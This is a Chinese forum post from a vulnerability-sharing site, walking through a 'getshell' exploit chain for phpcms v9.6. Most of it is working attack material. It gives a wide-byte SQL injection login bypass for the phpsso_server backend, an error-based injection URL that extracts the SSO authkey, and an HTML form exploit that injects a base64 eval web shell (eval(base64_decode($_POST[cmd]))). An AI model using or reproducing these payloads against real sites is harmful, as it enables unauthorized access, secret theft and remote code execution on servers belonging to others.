phpcmsV9.6 getshell

Track-宁邪   ·   发表于 2018-03-01 13:15:14   ·   漏洞文章

这个漏洞来自乌云,经过本地环境测试后,发现漏洞确实存在。

PHP双字节编码,这个本不应该出现的问题,或许因为过去太久远快被遗忘了,phpcms从20140929的v9.5.9版本起,增加了mysqli的支持,因为编写疏忽,导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库,显示mysql语句错误(debug为true,呵呵完全可以爆错注入),而且安装过程不能修改。

漏洞影响:利用20140929的v9.5.9以后版本新建站点,以前版本升级的不受影响,故自评Rank为15

漏洞危害:利用漏洞直接登陆phpsso_server后台获取shell、注入等。

phpcmsv9.6

1、登陆登陆phpsso_server后台

用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k

密码:1

phpcmsv9.6

2、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。

3、注入。访问链接:**.**.**.**/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89' and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))–%20m

exp测试代码如下:

01<form  action="http://127.0.0.1/phpcmsv9/phpsso_server/?m=admin&c=messagequeue&a=renotice" method="POST" target="_blank" enctype="multipart/form-data">
02noticeid:<input type="text" name="noticeid" id="noticeid" value="誠' union select 1,2,3,4,0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B,6,7-- k" size=100/><br>
03cmd:<input type="text" name="cmd" id="cmd" value="cGhwaW5mbygpOw=="/>phpinfo();<br>
04<input type="hidden" name="appid" id="appid" value="1"/>
05<input type="submit" value="提交"/>
06</form>
07<hr>
08说明:<br>
091、登陆phpsso_server<br>
10用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k<br>
11密码:1<br>
122、登陆后,提交获取shell<br>
130x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B<br>
14array();eval(base64_decode($_POST[cmd]));exit;<br>


打赏我,让我更有动力~

0 条回复   |  直到 2018-3-1 | 1799 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.